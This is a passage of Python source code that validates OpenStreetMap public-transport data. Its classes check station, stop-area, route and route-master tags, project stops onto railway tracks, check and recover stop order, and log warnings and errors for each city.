el['tags'].get(m) == 'yes':\n                modes.append(m)\n        return set(modes)\n\n    @staticmethod\n    def is_station(el, modes):\n        # public_transport=station is too ambiguous and unspecific to use,\n        # so we expect for it to be backed by railway=station.\n        if 'tram' in modes and el.get('tags', {}).get('railway') == 'tram_stop':\n            return True\n        if el.get('tags', {}).get('railway') not in ('station', 'halt'):\n            return False\n        for k in CONSTRUCTION_KEYS:\n            if k in el['tags']:\n                return False\n        # Not checking for station=train, obviously\n        if 'train' not in modes and Station.get_modes(el).isdisjoint(modes):\n            return False\n        return True\n\n    def __init__(self, el, city):\n        \"\"\"Call this with a railway=station node.\"\"\"\n        if not Station.is_station(el, city.modes):\n            raise Exception(\n                'Station object should be instantiated from a station node. Got: {}'.format(el))\n\n        self.id = el_id(el)\n        self.element = el\n        self.modes = Station.get_modes(el)\n        self.name = el['tags'].get('name', '?')\n        self.int_name = el['tags'].get('int_name', el['tags'].get('name:en', None))\n        try:\n            self.colour = normalize_colour(el['tags'].get('colour', None))\n        except ValueError as e:\n            self.colour = None\n            city.warn(str(e), el)\n        self.center = el_center(el)\n        if self.center is None:\n            raise Exception('Could not find center of {}'.format(el))\n\n    def __repr__(self):\n        return 'Station(id={}, modes={}, name={}, center={})'.format(\n            self.id, ','.join(self.modes), self.name, self.center)\n\n\nclass StopArea:\n    @staticmethod\n    def is_stop(el):\n        if 'tags' not in el:\n            return False\n        if el['tags'].get('railway') == 'stop':\n            return True\n        if el['tags'].get('public_transport') == 'stop_position':\n            return True\n        return False\n\n    @staticmethod\n    def is_platform(el):\n        if 'tags' not in el:\n            return False\n        if el['tags'].get('railway') in ('platform', 'platform_edge'):\n            return True\n        if el['tags'].get('public_transport') == 'platform':\n            return True\n        return False\n\n    @staticmethod\n    def is_track(el):\n        if el['type'] != 'way' or 'tags' not in el:\n            return False\n        return el['tags'].get('railway') in RAILWAY_TYPES\n\n    def __init__(self, station, city, stop_area=None):\n        \"\"\"Call this with a Station object.\"\"\"\n\n        self.element = stop_area or station.element\n        self.id = el_id(self.element)\n        self.station = station\n        self.stops = set()      # set of el_ids of stop_positions\n        self.platforms = set()  # set of el_ids of platforms\n        self.exits = set()      # el_id of subway_entrance for leaving the platform\n        self.entrances = set()  # el_id of subway_entrance for entering the platform\n        self.center = None      # lon, lat of the station centre point\n        self.centers = {}       # el_id -> (lon, lat) for all elements\n        self.transfer = None    # el_id of a transfer relation\n\n        self.modes = station.modes\n        self.name = station.name\n        self.int_name = station.int_name\n        self.colour = station.colour\n\n        if stop_area:\n            self.name = stop_area['tags'].get('name', self.name)\n            self.int_name = stop_area['tags'].get(\n                'int_name', stop_area['tags'].get('name:en', self.int_name))\n            try:\n                self.colour = normalize_colour(\n                    stop_area['tags'].get('colour')) or self.colour\n            except ValueError as e:\n                city.warn(str(e), stop_area)\n\n            # If we have a stop area, add all elements from it\n            warned_about_tracks = False\n            for m in stop_area['members']:\n                k = el_id(m)\n                m_el = city.elements.get(k)\n                if m_el and 'tags' in m_el:\n                    if Station.is_station(m_el, city.modes):\n                        if k != station.id:\n                            city.error('Stop area has multiple stations', stop_area)\n                    elif StopArea.is_stop(m_el):\n                        self.stops.add(k)\n                    elif StopArea.is_platform(m_el):\n                        self.platforms.add(k)\n                    elif m_el['tags'].get('railway') == 'subway_entrance':\n                        if m_el['type'] != 'node':\n                            city.warn('Subway entrance is not a node', m_el)\n                        if m_el['tags'].get('entrance') != 'exit' and m['role'] != 'exit_only':\n                            self.entrances.add(k)\n                        if m_el['tags'].get('entrance') != 'entrance' and m['role'] != 'entry_only':\n                            self.exits.add(k)\n                    elif StopArea.is_track(m_el):\n                        if not warned_about_tracks:\n                            city.error('Tracks in a stop_area relation', stop_area)\n                            warned_about_tracks = True\n        else:\n            # Otherwise add nearby entrances\n            center = station.center\n            for c_el in city.elements.values():\n                if c_el.get('tags', {}).get('railway') == 'subway_entrance':\n                    c_id = el_id(c_el)\n                    if c_id not in city.stop_areas:\n                        c_center = el_center(c_el)\n                        if c_center and distance(center, c_center) <= MAX_DISTANCE_TO_ENTRANCES:\n                            if c_el['type'] != 'node':\n                                city.warn('Subway entrance is not a node', c_el)\n                            etag = c_el['tags'].get('entrance')\n                            if etag != 'exit':\n                                self.entrances.add(c_id)\n                            if etag != 'entrance':\n                                self.exits.add(c_id)\n\n        if self.exits and not self.entrances:\n            city.error('Only exits for a station, no entrances', stop_area or station.element)\n        if self.entrances and not self.exits:\n            city.error('No exits for a station', stop_area or station.element)\n\n        for el in self.get_elements():\n            self.centers[el] = el_center(city.elements[el])\n\n        \"\"\"Calculates the center point of the station. This algorithm\n        cannot rely on a station node, since many stop_areas can share one.\n        Basically it averages center points of all platforms\n        and stop positions.\"\"\"\n        if len(self.stops) + len(self.platforms) == 0:\n            self.center = station.center\n        else:\n            self.center = [0, 0]\n            for sp in self.stops | self.platforms:\n                spc = self.centers[sp]\n                for i in range(2):\n                    self.center[i] += spc[i]\n            for i in range(2):\n                self.center[i] /= len(self.stops) + len(self.platforms)\n\n    def get_elements(self):\n        result = set([self.id, self.station.id])\n        result.update(self.entrances)\n        result.update(self.exits)\n        result.update(self.stops)\n        result.update(self.platforms)\n        return result\n\n    def __repr__(self):\n        return 'StopArea(id={}, name={}, station={}, transfer={}, center={})'.format(\n            self.id, self.name, self.station, self.transfer, self.center)\n\n\nclass RouteStop:\n    def __init__(self, stoparea):\n        self.stoparea = stoparea\n        self.stop = None  # Stop position (lon, lat), possibly projected\n        self.distance = 0  # In meters from the start of the route\n        self.platform_entry = None  # Platform el_id\n        self.platform_exit = None  # Platform el_id\n        self.can_enter = False\n        self.can_exit = False\n        self.seen_stop = False\n        self.seen_platform_entry = False\n        self.seen_platform_exit = False\n        self.seen_station = False\n\n    @property\n    def seen_platform(self):\n        return self.seen_platform_entry or self.seen_platform_exit\n\n    @staticmethod\n    def get_actual_role(el, role, modes):\n        if StopArea.is_stop(el):\n            return 'stop'\n        elif StopArea.is_platform(el):\n            return 'platform'\n        elif Station.is_station(el, modes):\n            if 'platform' in role:\n                return 'platform'\n            else:\n                return 'stop'\n        return None\n\n    def add(self, member, relation, city):\n        el = city.elements[el_id(member)]\n        role = member['role']\n\n        if StopArea.is_stop(el):\n            if 'platform' in role:\n                city.warn('Stop position in a platform role in a route', el)\n            if el['type'] != 'node':\n                city.error('Stop position is not a node', el)\n            self.stop = el_center(el)\n            if 'entry_only' not in role:\n                self.can_exit = True\n            if 'exit_only' not in role:\n                self.can_enter = True\n\n        elif Station.is_station(el, city.modes):\n            if el['type'] != 'node':\n                city.warn('Station in route is not a node', el)\n\n            if not self.seen_stop and not self.seen_platform:\n                self.stop = el_center(el)\n                self.can_enter = True\n                self.can_exit = True\n\n        elif StopArea.is_platform(el):\n            if 'stop' in role:\n                city.warn('Platform in a stop role in a route', el)\n            if 'exit_only' not in role:\n                self.platform_entry = el_id(el)\n                self.can_enter = True\n            if 'entry_only' not in role:\n                self.platform_exit = el_id(el)\n                self.can_exit = True\n            if not self.seen_stop:\n                self.stop = el_center(el)\n\n        else:\n            city.error('Not a stop or platform in a route relation', el)\n\n        multiple_check = False\n        actual_role = RouteStop.get_actual_role(el, role, city.modes)\n        if actual_role == 'platform':\n            if role == 'platform_entry_only':\n                multiple_check = self.seen_platform_entry\n                self.seen_platform_entry = True\n            elif role == 'platform_exit_only':\n                multiple_check = self.seen_platform_exit\n                self.seen_platform_exit = True\n            else:\n                if role != 'platform' and 'stop' not in role:\n                    city.warn(\"Platform with invalid role '{}' in a route\".format(role), el)\n                multiple_check = self.seen_platform\n                self.seen_platform_entry = True\n                self.seen_platform_exit = True\n        elif actual_role == 'stop':\n            multiple_check = self.seen_stop\n            self.seen_stop = True\n        if multiple_check:\n            city.error_if(\n                actual_role == 'stop',\n                'Multiple {}s for a station \"{}\" ({}) in a route relation'.format(\n                    actual_role, el['tags'].get('name', ''), el_id(el)), relation)\n\n    def __repr__(self):\n        return 'RouteStop(stop={}, pl_entry={}, pl_exit={}, stoparea={})'.format(\n            self.stop, self.platform_entry, self.platform_exit, self.stoparea)\n\n\nclass Route:\n    \"\"\"The longest route for a city with a unique ref.\"\"\"\n    @staticmethod\n    def is_route(el, modes):\n        if el['type'] != 'relation' or el.get('tags', {}).get('type') != 'route':\n            return False\n        if 'members' not in el:\n            return False\n        if el['tags'].get('route') not in modes:\n            return False\n        for k in CONSTRUCTION_KEYS:\n            if k in el['tags']:\n                return False\n        if 'ref' not in el['tags'] and 'name' not in el['tags']:\n            return False\n        return True\n\n    @staticmethod\n    def get_network(relation):\n        for k in ('network:metro', 'network', 'operator'):\n            if k in relation['tags']:\n                return relation['tags'][k]\n        return None\n\n    @staticmethod\n    def get_interval(tags):\n        v = None\n        for k in ('interval', 'headway'):\n            if k in tags:\n                v = tags[k]\n                break\n            else:\n                for kk in tags:\n                    if kk.startswith(k+':'):\n                        v = tags[kk]\n                        break\n        if not v:\n            return None\n        try:\n            return float(v)\n        except ValueError:\n            return None\n\n    def build_longest_line(self, relation):\n        line_nodes = set()\n        last_track = []\n        track = []\n        warned_about_holes = False\n        for m in relation['members']:\n            el = self.city.elements.get(el_id(m), None)\n            if not el or not StopArea.is_track(el):\n                continue\n            if 'nodes' not in el or len(el['nodes']) < 2:\n                self.city.error('Cannot find nodes in a railway', el)\n                continue\n            nodes = ['n{}'.format(n) for n in el['nodes']]\n            if m['role'] == 'backward':\n                nodes.reverse()\n            line_nodes.update(nodes)\n            if not track:\n                is_first = True\n                track.extend(nodes)\n            else:\n                new_segment = list(nodes)  # copying\n                if new_segment[0] == track[-1]:\n                    track.extend(new_segment[1:])\n                elif new_segment[-1] == track[-1]:\n                    track.extend(reversed(new_segment[:-1]))\n                elif is_first and track[0] in (new_segment[0], new_segment[-1]):\n                    # We can reverse the track and try again\n                    track.reverse()\n                    if new_segment[0] == track[-1]:\n                        track.extend(new_segment[1:])\n                    else:\n                        track.extend(reversed(new_segment[:-1]))\n                else:\n                    # Store the track if it is long and clean it\n                    if not warned_about_holes:\n                        self.city.warn('Hole in route rails near node {}'.format(\n                            track[-1]), relation)\n                        warned_about_holes = True\n                    if len(track) > len(last_track):\n                        last_track = track\n                    track = []\n                is_first = False\n        if len(track) > len(last_track):\n            last_track = track\n        # Remove duplicate points\n        last_track = [last_track[i] for i in range(0, len(last_track))\n                      if i == 0 or last_track[i-1] != last_track[i]]\n        return last_track, line_nodes\n\n    def project_stops_on_line(self):\n        projected = [project_on_line(x.stop, self.tracks) for x in self.stops]\n\n        def is_stop_near_tracks(stop_index):\n            return (\n                projected[stop_index]['projected_point'] is not None and\n                distance(\n                   self.stops[stop_index].stop,\n                   projected[stop_index]['projected_point']\n                ) <= MAX_DISTANCE_STOP_TO_LINE\n            )\n\n        start = 0\n        while start < len(self.stops) and not is_stop_near_tracks(start):\n            start += 1\n        end = len(self.stops) - 1\n        while end > start and not is_stop_near_tracks(end):\n            end -= 1\n        tracks_start = []\n        tracks_end = []\n        stops_on_longest_line = []\n        for i, route_stop in enumerate(self.stops):\n            if i < start:\n                tracks_start.append(route_stop.stop)\n            elif i > end:\n                tracks_end.append(route_stop.stop)\n            elif projected[i]['projected_point'] is None:\n                self.city.error('Stop \"{}\" {} is nowhere near the tracks'.format(\n                    route_stop.stoparea.name, route_stop.stop), self.element)\n            else:\n                projected_point = projected[i]['projected_point']\n                # We've got two separate stations with a good stretch of\n                # railway tracks between them. Put these on tracks.\n                d = round(distance(route_stop.stop, projected_point))\n                if d > MAX_DISTANCE_STOP_TO_LINE:\n                    self.city.warn('Stop \"{}\" {} is {} meters from the tracks'.format(\n                        route_stop.stoparea.name, route_stop.stop, d), self.element)\n                else:\n                    route_stop.stop = projected_point\n                route_stop.positions_on_rails = projected[i]['positions_on_line']\n                stops_on_longest_line.append(route_stop)\n        if start >= len(self.stops):\n            self.tracks = tracks_start\n        elif tracks_start or tracks_end:\n            self.tracks = tracks_start + self.tracks + tracks_end\n        return stops_on_longest_line\n\n    def calculate_distances(self):\n        dist = 0\n        vertex = 0\n        for i, stop in enumerate(self.stops):\n            if i > 0:\n                direct = distance(stop.stop, self.stops[i-1].stop)\n                d_line = distance_on_line(self.stops[i-1].stop, stop.stop, self.tracks, vertex)\n                if d_line and direct-10 <= d_line[0] <= direct*2:\n                    vertex = d_line[1]\n                    dist += round(d_line[0])\n                else:\n                    dist += round(direct)\n            stop.distance = dist\n\n    def __init__(self, relation, city, master=None):\n        if not Route.is_route(relation, city.modes):\n            raise Exception('The relation does not seem a route: {}'.format(relation))\n        master_tags = {} if not master else master['tags']\n        self.city = city\n        self.element = relation\n        self.id = el_id(relation)\n        if 'ref' not in relation['tags'] and 'ref' not in master_tags:\n            city.warn('Missing ref on a route', relation)\n        self.ref = relation['tags'].get('ref', master_tags.get(\n            'ref', relation['tags'].get('name', None)))\n        self.name = relation['tags'].get('name', None)\n        self.mode = relation['tags']['route']\n        if 'colour' not in relation['tags'] and 'colour' not in master_tags and self.mode != 'tram':\n            city.warn('Missing colour on a route', relation)\n        try:\n            self.colour = normalize_colour(relation['tags'].get(\n                'colour', master_tags.get('colour', None)))\n        except ValueError as e:\n            self.colour = None\n            city.warn(str(e), relation)\n        try:\n            self.infill = normalize_colour(relation['tags'].get(\n                'colour:infill', master_tags.get('colour:infill', None)))\n        except ValueError as e:\n            self.infill = None\n            city.warn(str(e), relation)\n        self.network = Route.get_network(relation)\n        self.interval = Route.get_interval(relation['tags']) or Route.get_interval(master_tags)\n        if relation['tags'].get('public_transport:version') == '1':\n            city.error('Public transport version is 1, which means the route '\n                       'is an unsorted pile of objects', relation)\n        self.is_circular = False\n        # self.tracks would be a list of (lon, lat) for the longest stretch. Can be empty\n        tracks, line_nodes = self.build_longest_line(relation)\n        self.tracks = [el_center(city.elements.get(k)) for k in tracks]\n        if None in self.tracks:  # usually, extending BBOX for the city is needed\n            self.tracks = []\n            for n in filter(lambda x: x not in city.elements, tracks):\n                city.error('The dataset is missing the railway tracks node {}'.format(n), relation)\n                break\n        check_stop_positions = len(line_nodes) > 50  # arbitrary number, of course\n        self.stops = []  # List of RouteStop\n        stations = set()  # temporary for recording stations\n        seen_stops = False\n        seen_platforms = False\n        repeat_pos = None\n        for m in relation['members']:\n            if 'inactive' in m['role']:\n                continue\n            k = el_id(m)\n            if k in city.stations:\n                st_list = city.stations[k]\n                st = st_list[0]\n                if len(st_list) > 1:\n                    city.error('Ambiguous station {} in route. Please use stop_position or split '\n                               'interchange stations'.format(st.name), relation)\n                el = city.elements[k]\n                actual_role = RouteStop.get_actual_role(el, m['role'], city.modes)\n                if actual_role:\n                    if m['role'] and actual_role not in m['role']:\n                        city.warn(\"Wrong role '{}' for {} {}\".format(m['role'], actual_role, k), relation)\n                    if repeat_pos is None:\n                        if not self.stops or st not in stations:\n                            stop = RouteStop(st)\n                            self.stops.append(stop)\n                            stations.add(st)\n                        elif self.stops[-1].stoparea.id == st.id:\n                            stop = self.stops[-1]\n                        else:\n                            # We've got a repeat\n                            if ((seen_stops and seen_platforms) or\n                                    (actual_role == 'stop' and not seen_platforms) or\n                                    (actual_role == 'platform' and not seen_stops)):\n                                # Circular route!\n                                stop = RouteStop(st)\n                                self.stops.append(stop)\n                                stations.add(st)\n                            else:\n                                repeat_pos = 0\n                    if repeat_pos is not None:\n                        if repeat_pos >= len(self.stops):\n                            continue\n                        # Check that the type matches\n                        if (actual_role == 'stop' and seen_stops) or (\n                                actual_role == 'platform' and seen_platforms):\n                            city.error('Found an out-of-place {}: \"{}\" ({})'.format(\n                                actual_role, el['tags'].get('name', ''), k), relation)\n                            continue\n                        # Find the matching stop starting with index repeat_pos\n                        while (repeat_pos < len(self.stops) and\n                               self.stops[repeat_pos].stoparea.id != st.id):\n                            repeat_pos += 1\n                        if repeat_pos >= len(self.stops):\n                            city.error('Incorrect order of {}s at {}'.format(actual_role, k),\n                                       relation)\n                            continue\n                        stop = self.stops[repeat_pos]\n\n                    stop.add(m, relation, city)\n                    if repeat_pos is None:\n                        seen_stops |= stop.seen_stop or stop.seen_station\n                        seen_platforms |= stop.seen_platform\n\n                    if check_stop_positions and StopArea.is_stop(el):\n                        if k not in line_nodes:\n                            city.warn('Stop position \"{}\" ({}) is not on tracks'.format(\n                                el['tags'].get('name', ''), k), relation)\n                    continue\n\n            if k not in city.elements:\n                if 'stop' in m['role'] or 'platform' in m['role']:\n                    raise CriticalValidationError(\n                        '{} {} {} for route relation {} is not in the dataset'.format(\n                            m['role'], m['type'], m['ref'], relation['id']\n                        )\n                    )\n                continue\n            el = city.elements[k]\n            if 'tags' not in el:\n                city.error('Untagged object in a route', relation)\n                continue\n\n            is_under_construction = False\n            for ck in CONSTRUCTION_KEYS:\n                if ck in el['tags']:\n                    city.error('An under construction {} {} in route. Consider '\n                               'setting \\'inactive\\' role or removing construction attributes'\n                               .format(m['role'] or 'feature', k), relation)\n                    is_under_construction = True\n                    break\n            if is_under_construction:\n                continue\n\n            if Station.is_station(el, city.modes):\n                # A station may be not included into this route due to previous\n                # 'stop area has multiple stations' error. No other error message is needed.\n                pass\n            elif el['tags'].get('railway') in ('station', 'halt'):\n                city.error('Missing station={} on a {}'.format(self.mode, m['role']), el)\n            else:\n                actual_role = RouteStop.get_actual_role(el, m['role'], city.modes)\n                if actual_role:\n                    city.error('{} {} {} is not connected to a station in route'.format(\n                        actual_role, m['type'], m['ref']), relation)\n                elif not StopArea.is_track(el):\n                    city.error('Unknown member type for {} {} in route'.format(m['type'], m['ref']), relation)\n        if not self.stops:\n            city.error('Route has no stops', relation)\n        elif len(self.stops) == 1:\n            city.error('Route has only one stop', relation)\n        else:\n            self.is_circular = self.stops[0].stoparea == self.stops[-1].stoparea\n            stops_on_longest_line = self.project_stops_on_line()\n            self.check_and_recover_stops_order(stops_on_longest_line)\n            self.calculate_distances()\n\n    def check_stops_order_by_angle(self):\n        disorder_warnings = []\n        disorder_errors = []\n        for si in range(len(self.stops) - 2):\n            angle = angle_between(self.stops[si].stop,\n                                  self.stops[si + 1].stop,\n                                  self.stops[si + 2].stop)\n            if angle < ALLOWED_ANGLE_BETWEEN_STOPS:\n                msg = 'Angle between stops around \"{}\" is too narrow, {} degrees'.format(\n                    self.stops[si + 1].stoparea.name, angle)\n                if angle < DISALLOWED_ANGLE_BETWEEN_STOPS:\n                    disorder_errors.append(msg)\n                else:\n                    disorder_warnings.append(msg)\n        return disorder_warnings, disorder_errors\n\n    def check_stops_order_on_tracks_direct(self, stop_sequence):\n        \"\"\"Checks stops order on tracks, following stop_sequence\n        in direct order only.\n        :param stop_sequence: list of RouteStop that belong to the\n        longest contiguous sequence of tracks in a route.\n        :return: error message on the first order violation or None.\n        \"\"\"\n        def make_assertion_error_msg(route_stop, error_type):\n            return (\n                \"stop_area {} '{}' has {} 'positions_on_rails' \"\n                \"attribute in route {}\".format(\n                    route_stop.stoparea.id,\n                    route_stop.stoparea.name,\n                    \"no\" if error_type == 1 else \"empty\",\n                    self.id\n                )\n            )\n\n        allowed_order_violations = 1 if self.is_circular else 0\n        max_position_on_rails = -1\n        for route_stop in stop_sequence:\n            assert hasattr(route_stop, 'positions_on_rails'), \\\n                make_assertion_error_msg(route_stop, error_type=1)\n\n            positions_on_rails = route_stop.positions_on_rails\n            assert positions_on_rails, \\\n                make_assertion_error_msg(route_stop, error_type=2)\n\n            suitable_occurrence = 0\n            while (suitable_occurrence < len(positions_on_rails) and\n                   positions_on_rails[suitable_occurrence] < max_position_on_rails):\n                suitable_occurrence += 1\n            if suitable_occurrence == len(positions_on_rails):\n                if allowed_order_violations > 0:\n                    suitable_occurrence -= 1\n                    allowed_order_violations -= 1\n                else:\n                    return 'Stops on tracks are unordered near \"{}\" {}'.format(\n                                route_stop.stoparea.name,\n                                route_stop.stop\n                    )\n            max_position_on_rails = positions_on_rails[suitable_occurrence]\n\n    def check_stops_order_on_tracks(self, stop_sequence):\n        \"\"\" Checks stops order on tracks, trying direct and reversed\n            order of stops in the stop_sequence.\n        :param stop_sequence: list of RouteStop that belong to the\n        longest contiguous sequence of tracks in a route.\n        :return: error message on the first order violation or None.\n        \"\"\"\n        error_message = self.check_stops_order_on_tracks_direct(stop_sequence)\n        if error_message:\n            error_message_reversed = self.check_stops_order_on_tracks_direct(reversed(stop_sequence))\n            if error_message_reversed is None:\n                error_message = None\n                self.city.warn('Tracks seem to go in the opposite direction to stops', self.element)\n        return error_message\n\n    def check_stops_order(self, stops_on_longest_line):\n        angle_disorder_warnings, angle_disorder_errors = self.check_stops_order_by_angle()\n        disorder_on_tracks_error = self.check_stops_order_on_tracks(stops_on_longest_line)\n        disorder_warnings = angle_disorder_warnings\n        disorder_errors = angle_disorder_errors\n        if disorder_on_tracks_error:\n            disorder_errors.append(disorder_on_tracks_error)\n        return disorder_warnings, disorder_errors\n\n    def check_and_recover_stops_order(self, stops_on_longest_line):\n        disorder_warnings, disorder_errors = self.check_stops_order(stops_on_longest_line)\n        if disorder_warnings or disorder_errors:\n            resort_success = False\n            if self.city.recovery_data:\n                resort_success = self.try_resort_stops()\n                if resort_success:\n                    for msg in disorder_warnings:\n                        self.city.warn(msg, self.element)\n                    for msg in disorder_errors:\n                        self.city.warn(\"Fixed with recovery data: \" + msg, self.element)\n\n            if not resort_success:\n                for msg in disorder_warnings:\n                    self.city.warn(msg, self.element)\n                for msg in disorder_errors:\n                    self.city.error(msg, self.element)\n\n    def try_resort_stops(self):\n        \"\"\"Precondition: self.city.recovery_data is not None.\n        Return success of station order recovering.\"\"\"\n        self_stops = {} # station name => RouteStop\n        for stop in self.stops:\n            station = stop.stoparea.station\n            stop_name = station.name\n            if stop_name == '?' and station.int_name:\n                stop_name = station.int_name\n            # We won't programmatically recover routes with repeating stations:\n            # such cases are rare and deserves manual verification\n            if stop_name in self_stops:\n                return False\n            self_stops[stop_name] = stop\n\n        route_id = (self.colour, self.ref)\n        if route_id not in self.city.recovery_data:\n            return False\n\n        stop_names = list(self_stops.keys())\n        suitable_itineraries = []\n        for itinerary in self.city.recovery_data[route_id]:\n            itinerary_stop_names = [stop['name'] for stop in itinerary['stations']]\n            if not (len(stop_names) == len(itinerary_stop_names) and\n                    sorted(stop_names) == sorted(itinerary_stop_names)):\n                continue\n            big_station_displacement = False\n            for it_stop in itinerary['stations']:\n                name = it_stop['name']\n                it_stop_center = it_stop['center']\n                self_stop_center = self_stops[name].stoparea.station.center\n                if distance(it_stop_center, self_stop_center) > DISPLACEMENT_TOLERANCE:\n                    big_station_displacement = True\n                    break\n            if not big_station_displacement:\n                suitable_itineraries.append(itinerary)\n\n        if len(suitable_itineraries) == 0:\n            return False\n        elif len(suitable_itineraries) == 1:\n            matching_itinerary = suitable_itineraries[0]\n        else:\n            from_tag = self.element['tags'].get('from')\n            to_tag = self.element['tags'].get('to')\n            if not from_tag and not to_tag:\n                return False\n            matching_itineraries = [\n                itin for itin in suitable_itineraries\n                    if from_tag and itin['from'] == from_tag or\n                       to_tag and itin['to'] == to_tag\n            ]\n            if len(matching_itineraries) != 1:\n                return False\n            matching_itinerary = matching_itineraries[0]\n        self.stops = [self_stops[stop['name']] for stop in matching_itinerary['stations']]\n        return True\n\n    def __len__(self):\n        return len(self.stops)\n\n    def __getitem__(self, i):\n        return self.stops[i]\n\n    def __iter__(self):\n        return iter(self.stops)\n\n    def __repr__(self):\n        return ('Route(id={}, mode={}, ref={}, name={}, network={}, interval={}, '\n                'circular={}, num_stops={}, line_length={} m, from={}, to={}').format(\n                    self.id, self.mode, self.ref, self.name, self.network, self.interval,\n                    self.is_circular, len(self.stops), self.stops[-1].distance,\n                    self.stops[0], self.stops[-1])\n\n\nclass RouteMaster:\n    def __init__(self, master=None):\n        self.routes = []\n        self.best = None\n        self.id = el_id(master)\n        self.has_master = master is not None\n        self.interval_from_master = False\n        if master:\n            self.ref = master['tags'].get('ref', master['tags'].get('name', None))\n            try:\n                self.colour = normalize_colour(master['tags'].get('colour', None))\n            except ValueError:\n                self.colour = None\n            try:\n                self.infill = normalize_colour(master['tags'].get('colour:infill', None))\n            except ValueError:\n                self.colour = None\n            self.network = Route.get_network(master)\n            self.mode = master['tags'].get('route_master', None)  # This tag is required, but okay\n            self.name = master['tags'].get('name', None)\n            self.interval = Route.get_interval(master['tags'])\n            self.interval_from_master = self.interval is not None\n        else:\n            self.ref = None\n            self.colour = None\n            self.infill = None\n            self.network = None\n            self.mode = None\n            self.name = None\n            self.interval = None\n\n    def add(self, route, city):\n        if not self.network:\n            self.network = route.network\n        elif route.network and route.network != self.network:\n            city.error('Route has different network (\"{}\") from master \"{}\"'.format(\n                route.network, self.network), route.element)\n\n        if not self.colour:\n            self.colour = route.colour\n        elif route.colour and route.colour != self.colour:\n            city.warn('Route \"{}\" has different colour from master \"{}\"'.format(\n                route.colour, self.colour), route.element)\n\n        if not self.infill:\n            self.infill = route.infill\n        elif route.infill and route.infill != self.infill:\n            city.warn('Route \"{}\" has different infill colour from master \"{}\"'.format(\n                route.infill, self.infill), route.element)\n\n        if not self.ref:\n            self.ref = route.ref\n        elif route.ref != self.ref:\n            city.warn('Route \"{}\" has different ref from master \"{}\"'.format(\n                route.ref, self.ref), route.element)\n\n        if not self.name:\n            self.name = route.name\n\n        if not self.mode:\n            self.mode = route.mode\n        elif route.mode != self.mode:\n            city.error('Incompatible PT mode: master has {} and route has {}'.format(\n                self.mode, route.mode), route.element)\n            return\n\n        if not self.interval_from_master and route.interval:\n            if not self.interval:\n                self.interval = route.interval\n            else:\n                self.interval = min(self.interval, route.interval)\n\n        if not self.has_master and (not self.id or self.id > route.id):\n            self.id = route.id\n\n        self.routes.append(route)\n        if not self.best or len(route.stops) > len(self.best.stops):\n            self.best = route\n\n    def stop_areas(self):\n        \"\"\"Returns a list of all stations on all route variants.\"\"\"\n        seen_ids = set()\n        for route in self.routes:\n            for stop in route:\n                st = stop.stoparea\n                if st.id not in seen_ids:\n                    seen_ids.add(st.id)\n                    yield st\n\n    def __len__(self):\n        return len(self.routes)\n\n    def __getitem__(self, i):\n        return self.routes[i]\n\n    def __iter__(self):\n        return iter(self.routes)\n\n    def __repr__(self):\n        return 'RouteMaster(id={}, mode={}, ref={}, name={}, network={}, num_variants={}'.format(\n            self.id, self.mode, self.ref, self.name, self.network, len(self.routes))\n\n\nclass City:\n    def __init__(self, row, overground=False):\n        self.errors = []\n        self.warnings = []\n        self.name = row[1]\n        self.country = row[2]\n        self.continent = row[3]\n        if not row[0]:\n            self.error('City {} does not have an id'.format(self.name))\n        self.id = int(row[0] or '0')\n        self.overground = overground\n        if not overground:\n            self.num_stations = int(row[4])\n            self.num_lines = int(row[5] or '0')\n            self.num_light_lines = int(row[6] or '0')\n            self.num_interchanges = int(row[7] or '0')\n        else:\n            self.num_tram_lines = int(row[4] or '0')\n            self.num_trolleybus_lines = int(row[5] or '0')\n            self.num_bus_lines = int(row[6] or '0')\n            self.num_other_lines = int(row[7] or '0')\n\n        # Aquiring list of networks and modes\n        networks = None if len(row) <= 9 else row[9].split(':')\n        if not networks or len(networks[-1]) == 0:\n            self.networks = []\n        else:\n            self.networks = set(filter(None, [x.strip() for x in networks[-1].split(';')]))\n        if not networks or len(networks) < 2 or len(networks[0]) == 0:\n            if self.overground:\n                self.modes = DEFAULT_MODES_OVERGROUND\n            else:\n                self.modes = DEFAULT_MODES_RAPID\n        else:\n            self.modes = set([x.strip() for x in networks[0].split(',')])\n\n        # Reversing bbox so it is (xmin, ymin, xmax, ymax)\n        bbox = row[8].split(',')\n        if len(bbox) == 4:\n            self.bbox = [float(bbox[i]) for i in (1, 0, 3, 2)]\n        else:\n            self.bbox = None\n\n        self.elements = {}   # Dict el_id → el\n        self.stations = defaultdict(list)   # Dict el_id → list of StopAreas\n        self.routes = {}     # Dict route_ref → route\n        self.masters = {}    # Dict el_id of route → route_master\n        self.stop_areas = defaultdict(list)  # El_id → list of el_id of stop_area\n        self.transfers = []  # List of lists of stop areas\n        self.station_ids = set()  # Set of stations' uid\n        self.stops_and_platforms = set()  # Set of stops and platforms el_id\n        self.recovery_data = None\n\n    def log_message(self, message, el):\n        if el:\n            tags = el.get('tags', {})\n            message += ' ({} {}, \"{}\")'.format(\n                el['type'], el.get('id', el.get('ref')),\n                tags.get('name', tags.get('ref', '')))\n        return message\n\n    def warn(self, message, el=None):\n        msg = self.log_message(message, el)\n        self.warnings.append(msg)\n\n    def error(self, message, el=None):\n        msg = self.log_message(message, el)\n        self.errors.append(msg)\n\n    def error_if(self, is_error, message, el=None):\n        if is_error:\n            self.error(message, el)\n        else:\n            self.warn(message, el)\n\n    def contains(self, el):\n        center = el_center(el)\n        if center:\n            return (self.bbox[0] <= center[1] <= self.bbox[2] and\n                    self.bbox[1] <= center[0] <= self.bbox[3])\n        return False\n\n    def add(self, el):\n        if el['type'] == 'relation' and 'members' not in el:\n            return\n        self.elements[el_id(el)] = el\n        if el['type'] == 'relation' and 'tags' in el:\n            if el['tags'].get('type') == 'route_master':\n                for m in el['members']:\n                    if m['type'] == 'relation':\n                        if el_id(m) in self.masters:\n                            self.error('Route in two route_masters', m)\n                        self.masters[el_id(m)] = el\n            elif el['tags'].get('public_transport') == 'stop_area':\n                warned_about_duplicates = False\n                for m in el['members']:\n                    stop_areas = self.stop_areas[el_id(m)]\n                    if el in stop_areas:\n                        if not warned_about_duplicates:\n                            self.warn('Duplicate element in a stop area', el)\n                            warned_about_duplicates = True\n                    else:\n                        stop_areas.append(el)\n\n    def make_transfer(self, sag):\n        transfer = set()\n        for m in sag['members']:\n            k = el_id(m)\n            el = self.elements.get(k)\n            if not el:\n                # A sag member may validly not belong to the city while\n                # the sag does - near the city bbox boundary\n                continue\n            if 'tags' not in el:\n                self.error('An untagged object {} in a stop_area_group'.format(k), sag)\n                continue\n            if (el['type'] != 'relation' or\n                    el['tags'].get('type') 